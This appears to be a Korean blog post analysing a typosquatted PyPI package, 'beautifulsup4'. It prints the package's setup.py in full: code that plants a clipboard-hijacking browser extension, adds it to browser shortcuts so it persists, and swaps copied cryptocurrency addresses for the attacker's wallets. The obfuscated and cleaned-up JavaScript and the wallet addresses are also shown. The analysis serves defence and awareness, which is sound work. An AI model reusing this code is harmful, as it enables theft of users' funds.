티스토리 뷰

728x90
반응형

Introduction

beautifulsoup4은 제가 한때 웹 크롤링 공부하면서 정말 자주 애용했던 패키지인데요. 근데 딱 o 한 알파벳만 빠진 채로 패키지 하나가 PyPI(파이썬 패키지 저장소)에 올라왔습니다. 

https://pypi.org/

 

PyPI · The Python Package Index

The Python Package Index (PyPI) is a repository of software for the Python programming language.

pypi.org

파이썬 악성패키지 분석은 어느날 CTF 문제에서 출몰한 적이 있어서 갑자기 관심을 가지게 되었습니다.

 

보통 beautifulsoup4 를 설치할 때 아래와 같은 명령어를 입력합니다.

$ pip install beautifulsoup4

 

근데 개발자가 실수로 o 하나를 빼먹고 아래와 같이 패키지를 설치하면 어떻게 될까요?

$ pip install beautifulsup4
Collecting beautifulsup4
Downloading https://files.pythonhosted.org/packages/d0/73/3269143b1dd8cf78cc59fa44fae2b91523ea3f14196a0294f3ecd932db6f/beautifulsup4-0.1.tar.gz
...생략...

위와 같이 나오면서 정말 다른 패키지를 설치할 때처럼 별다를 바가 없습니다.

물론 주의깊게 살펴보면, 다운로드할 때 파일명을 보면 왜 버전이 0.1 이지? 하고 의아하신 분도 계실겁니다만, 일반적으로 알아보기가 정말 쉽지 않습니다.

패키지 정보를 보기 위해서 PyPI에 들어가보면 11월 7일날 최근 날짜에 패키지가 올라온 것을 볼 수 있고, 별다른 설명 없이 패키지명만 beautifulsoup4 을 모방한 채로 존재합니다.

 

그럼 이제 실제로 위 악성 패키지를 다운 받아서 코드를 살펴보도록 하겠습니다.

Python Code Analysis

악성 페이로드는 setup.py 코드를 보면 알 수 있습니다. 개발자가 pip install 명령어로 수행하면 PyPI 에서 압축파일을 다운로드 한 다음에 압축풀고, 그 안에 있는 setup.py 파일의 내용을 자동으로 수행해주기 때문입니다.

 

파일 도입부에 들어가자마자 보이는 것으로는 해당 악성코드는 Windows 운영체제를 타겟으로 한 것임을 알 수 있습니다.

if sys.platform == 'win32':

그리고 사용자 OS 플랫폼이 Windows 계열이라면 아래와 같이 특정한 경로(paths)들을 지정해줍니다.

appDataPath = os.getenv('APPDATA')
desktopPath = os.path.expanduser('~\Desktop')
paths = [
    appDataPath + '\\Microsoft\\Windows\\Start Menu',
    appDataPath + '\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar',
    desktopPath
]

위 코드를 수행하게 되면 paths 배열에는 아래와 같이 들어가게 됩니다.

paths = ['C:\\Users\\Domdomi\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu', 'C:\\Users\\Domdomi\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar', 'C:\\Users\\Domdomi\\Desktop']

그런 뒤 만약 관리자 권한을 가진 사용자라면 위 paths 배열에 경로를 하나 더 추가해줍니다.

if ctypes.windll.shell32.IsUserAnAdmin():
    paths.append('C:\\ProgramData\\Microsoft\\Windows\\Start Menu')

그런 다음에 Extension 디렉터리가 AppData 하위 경로에 존재하지 않는다면 하나 만들어줍니다.

if not os.path.exists(appDataPath + '\\Extension'):
    os.makedirs(appDataPath + '\\Extension')

그리고나서 이제 공격자가 의도한 난독화된 javascript 코드를 AppData\Extension\ 디렉터리 하위에 background.js 라는 파일 이름으로 공격 페이로드를 작성하고 있습니다.

with open(appDataPath + '\\Extension\\background.js', 'w+') as extensionFile:
    extensionFile.write('''var _0x327ff6=_0x11d4;(function(_0x314c14,_0x4da2d4){var _0x4d9550=_0x11d4,_0x41c8ae=_0x314c14();while(!![]){try{var _0x291238=parseInt(_0x4d9550(0x83))/0x1+parseInt(_0x4d9550(0x87))/0x2*(-parseInt(_0x4d9550(0x7c))/0x3)+-parseInt(_0x4d9550(0x81))/0x4*(-parseInt(_0x4d9550(0x8b))/0x5)+parseInt(_0x4d9550(0x7e))/0x6*(parseInt(_0x4d9550(0x75))/0x7)+-parseInt(_0x4d9550(0x89))/0x8+-parseInt(_0x4d9550(0x85))/0x9+parseInt(_0x4d9550(0x82))/0xa;if(_0x291238===_0x4da2d4)break;else _0x41c8ae['push'](_0x41c8ae['shift']());}catch(_0x435e56){_0x41c8ae['push'](_0x41c8ae['shift']());}}}(_0x7dfe,0x8e72d));let page=chrome[_0x327ff6(0x77)][_0x327ff6(0x76)]();function _0x11d4(_0x5d4133,_0x41221d){var _0x7dfebe=_0x7dfe();return _0x11d4=function(_0x11d4f7,_0x3282ea){_0x11d4f7=_0x11d4f7-0x75;var _0x34f11d=_0x7dfebe[_0x11d4f7];return _0x34f11d;},_0x11d4(_0x5d4133,_0x41221d);}var inputElement=document[_0x327ff6(0x88)](_0x327ff6(0x8a));document['body'][_0x327ff6(0x86)](inputElement),inputElement['focus']();function check(){var _0xe8a3e=_0x327ff6;document[_0xe8a3e(0x79)](_0xe8a3e(0x7f));var _0x5eb90d=inputElement[_0xe8a3e(0x7a)];_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(0x)[a-fA-F0-9]{40}$/,'0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^T[A-Za-z1-9]{33}$/,'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(bnb1)[0-9a-z]{38}$/,_0xe8a3e(0x80)),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/,'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/,_0xe8a3e(0x84)),inputElement['value']=_0x5eb90d,inputElement[_0xe8a3e(0x7d)](),document['execCommand'](_0xe8a3e(0x7b)),inputElement[_0xe8a3e(0x7a)]='';}function _0x7dfe(){var _0x1c8730=['8bkbJpt','14903530AaRyNg','646317UWotJX','LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq','9448686izWZHq','appendChild','2hKfLTM','createElement','3544256zMWJYQ','textarea','10470IXKEdo','42UUKWJT','getBackgroundPage','extension','replace','execCommand','value','copy','1539693aOTNUd','select','448728VNjtMg','paste','bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'];_0x7dfe=function(){return _0x1c8730;};return _0x7dfe();}setInterval(check,0x3e8);''')

그 다음으로는 manifest.json 파일을 또 AppData\Extension\ 디렉터리 하위에 작성하고 있습니다.

with open(appDataPath + '\\Extension\\manifest.json', 'w+') as manifestFile:
    manifestFile.write('{"name": "Windows","background": {"scripts": ["background.js"]},"version": "1","manifest_version": 2,"permissions": ["clipboardWrite", "clipboardRead"]}')

이는 브라우저 확장 프로그램이 클립보드(Clipboard)를 읽고 작성할 수 있는 권한을 허용토록 하는 내용을 작성하고 있습니다. 예를 들어 크롬 확장 프로그램의 권한에 대한 정보는 아래 링크로부터 확인해볼 수 있습니다.

https://developer.chrome.com/docs/extensions/mv3/declare_permissions/#clipboardRead

 

Declare permissions - Chrome Developers

An overview of the valid values for the permissions property in manifest.json.

developer.chrome.com

이렇게 해서 악성코드는 악성 확장 프로그램을 작성 완료했고, 이제 아래 코드에서 굳히기에 들어갑니다.

shell = Dispatch('WScript.Shell')

for path in paths:
    for root_directory, sub_directories, files in os.walk(path):
        for file in files:
            if file.endswith('.lnk'):
                try:
                    shortcut = shell.CreateShortcut(root_directory + '\\' + file)
                    executable_name = os.path.basename(shortcut.TargetPath)

                    if executable_name in ['chrome.exe', 'msedge.exe', 'launcher.exe', 'brave.exe']:
                        shortcut.Arguments = '--load-extension={appDataPath}\\Extension'.format(appDataPath=appDataPath)
                        shortcut.Save()
                except Exception as e:
                	...

위에서 정의했던 paths 배열에 들어있는 모든 하위 디렉터리들의 파일들을 뒤적뒤적하면서 만약 .lnk 확장자로 끝나는 파일, 즉 바로가기 파일이 있고 하필 또 그 바로가기 파일이 크롬, 엣지, 등의 브라우저 이름의 바로가기 파일이라면, 위에서 작성한 악성 확장 프로그램이 실행될 수 있도록 --load-extension 파라미터를 등록해줍니다.

 

그렇게 해서 악성코드가 브라우저를 매번 열 때마다 실행이 되도록 하고 있습니다.

 

그럼 대체 어떤 기능을 수행하는 확장 프로그램인지 아까 난독화 되어 있던 코드를 다시 분석해보겠습니다.

 

Obfuscated Javascript Analysis

아까 위에서 manifest.json 파일에서 정의하기로 확장 프로그램은 클립보드 읽기/쓰기 권한을 가진다고 했습니다. 해당 권한을 대체 왜 사용했는지 생각하면서 분석해봅시다.

 

검색엔진에 쳐보면 일반적으로 나오는 난독화 해제 도구로 난독화를 해제한 코드는 아래와 같습니다.

var _0x327ff6 = _0x11d4;
(function (_0x314c14, _0x4da2d4) {
  var _0x4d9550 = _0x11d4, _0x41c8ae = _0x314c14();
  while (true) {
    try {
      var _0x291238 = parseInt(_0x4d9550(131)) / 1 + parseInt(_0x4d9550(135)) / 2 * (-parseInt(_0x4d9550(124)) / 3) + -parseInt(_0x4d9550(129)) / 4 * (-parseInt(_0x4d9550(139)) / 5) + parseInt(_0x4d9550(126)) / 6 * (parseInt(_0x4d9550(117)) / 7) + -parseInt(_0x4d9550(137)) / 8 + -parseInt(_0x4d9550(133)) / 9 + parseInt(_0x4d9550(130)) / 10;
      if (_0x291238 === _0x4da2d4) break; else _0x41c8ae.push(_0x41c8ae.shift());
    } catch (_0x435e56) {
      _0x41c8ae.push(_0x41c8ae.shift());
    }
  }
}(_0x7dfe, 583469));
let page = chrome[_0x327ff6(119)][_0x327ff6(118)]();
function _0x11d4(_0x5d4133, _0x41221d) {
  var _0x7dfebe = _0x7dfe();
  return _0x11d4 = function (_0x11d4f7, _0x3282ea) {
    _0x11d4f7 = _0x11d4f7 - 117;
    var _0x34f11d = _0x7dfebe[_0x11d4f7];
    return _0x34f11d;
  }, _0x11d4(_0x5d4133, _0x41221d);
}
var inputElement = document[_0x327ff6(136)](_0x327ff6(138));
document.body[_0x327ff6(134)](inputElement), inputElement.focus();
function check() {
  var _0xe8a3e = _0x327ff6;
  document[_0xe8a3e(121)](_0xe8a3e(127));
  var _0x5eb90d = inputElement[_0xe8a3e(122)];
  _0x5eb90d = _0x5eb90d[_0xe8a3e(120)](/^(0x)[a-fA-F0-9]{40}$/, "0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9"), _0x5eb90d = _0x5eb90d[_0xe8a3e(120)](/^T[A-Za-z1-9]{33}$/, "TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx"), _0x5eb90d = _0x5eb90d[_0xe8a3e(120)](/^(bnb1)[0-9a-z]{38}$/, _0xe8a3e(128)), _0x5eb90d = _0x5eb90d[_0xe8a3e(120)](/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/, "bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v"), _0x5eb90d = _0x5eb90d[_0xe8a3e(120)](/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/, _0xe8a3e(132)), inputElement.value = _0x5eb90d, inputElement[_0xe8a3e(125)](), document.execCommand(_0xe8a3e(123)), inputElement[_0xe8a3e(122)] = "";
}
function _0x7dfe() {
  var _0x1c8730 = ["8bkbJpt", "14903530AaRyNg", "646317UWotJX", "LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq", "9448686izWZHq", "appendChild", "2hKfLTM", "createElement", "3544256zMWJYQ", "textarea", "10470IXKEdo", "42UUKWJT", "getBackgroundPage", "extension", "replace", "execCommand", "value", "copy", "1539693aOTNUd", "select", "448728VNjtMg", "paste", "bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv"];
  _0x7dfe = function () {
    return _0x1c8730;
  };
  return _0x7dfe();
}
setInterval(check, 1e3);

그리고 이제 위 코드를 기반으로 손수 한땀한땀 난독화를 해제해보겠습니다.

let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('textarea');

document.body.appendChild(inputElement);
inputElement.focus();

function check() {
  document.execCommand('paste');
  inputElement.value = inputElement.value.replace(/^(0x)[a-fA-F0-9]{40}$/, "0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9");
  inputElement.value = inputElement.value.replace(/^T[A-Za-z1-9]{33}$/, "TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx");
  inputElement.value = inputElement.value.replace(/^(bnb1)[0-9a-z]{38}$/, 'bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv');
  inputElement.value = inputElement.value.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/, "bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v");
  inputElement.value = inputElement.value.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/, 'LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq');
  inputElement.select();
  document.execCommand('copy');
  inputElement.value = "";
}

setInterval(check, 1000);

위 동작 내용을 요약하자면 이렇습니다.

1. 웹페이지에서 textarea 에 해당하는 요소를 가져옵니다.

2. 그리고 textarea 에 커서를 focus 해두고, 그냥 냅다 클립보드에 어떤 내용이 있든 간에 붙여넣기를 수행합니다.

3. 그리고 다섯 가지의 정규식을 가지구서 특정 주소 값(암호화폐 지갑의 주소값)으로 변경합니다.

4. 그리고 다시 textarea 에 있는 내용을 클립보드에 복사하구서 textarea 의 내용을 빈값으로 변경합니다.

 

결국 위 동작을 수행하는 이유는 beautifulsup4 라는 악성코드를 설치한 사용자가 위 정규식과 일치하는 지갑주소를 복사한 경우 악성코드를 제작한 공격자의 지갑주소로 바꿔치기 하게 된다는 것입니다.

 

그렇게 되면 최종적으로 특정 암호화폐를 전송할 때 악성코드 제작자(공격자)에게 전송하게 되는 것입니다.

결국 악성코드의 목적은 암호화폐 탈취에 있었습니다. 저는 암호화폐를 하지 않아서 잘 모르겠지만, 암호화폐 거래를 하는 사람에게는 정말 위험한 악성코드임이 분명합니다.

 

Crypto Wallet Analysis

악성코드에 작성된 지갑 주소를 검색해보니 아래와 같은 암호화폐의 주소인 걸 확인할 수 있었습니다.

`
ETH : 0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9
TRX : TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx
BNB : bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv
BTC : bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v
LTC : LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq
`

주소 몇개만 확인해봤는데 소름돋게도 누가 이미 당한 것 같습니다.

다행히 BTC는 아무도 안보냈는데, 6시간 전에 TRX의 경우에는 아주 소액의 금액을 누가 보낸 것 같습니다...

0.000001 TRX면.. 현재 한국돈 시세로 72.10원이군요.. 매우 소액이지만 그래도 누가 당한 것이라면 정말 주의가 필요할 것 같습니다...!

 

제가 잠깐 살펴본 패키지만 해도 아직도 버젓이 PyPI에 올라와 있는데, 아직도 수많은 악성 패키지들이 돌아다니고 있다고 생각하면 정말 무섭습니다.

 

모두들 패키지 설치할 때는 오타 조심해주세요. Python 뿐만 아니라 Node.js 나 다른 패키지들도 악성 패키지들이 많습니다. 정말 조심해야할 것 같습니다..!

 

악성 패키지 분석의 동기를 준 CTF 문제는 최근에 열렸던 Fetch the Flag CTF 2022 로 Snyk 에서 열었던 CTF 문제 중 Pay Attention 문제였습니다. 엄청 간단했어서 문제풀이를 올릴까 고민되긴 하지만, 나중에 시간 나면 올려보려고 합니다.

 

- 끝 -

 

뒤늦게 알았는데 이미 패키지 등장한 지 얼마 안되서 많은 웹사이트나 기관에서 이미 해당 패키지 외에도 다양한 패키지들에 대한 조사가 이뤄지고 있었습니다. 무척이나 빠른 움직임인 것 같습니다. 다만 그래도 여전히 패키지가 삭제되지 않고 버젓이 패키지 저장소에 저장되어 사용자들이 설치할 수 있는 환경이 유지되고 있기 때문에 개발자/사용자 입장에서는 항상 조심할 필요가 있는 것 같습니다.

728x90
반응형
댓글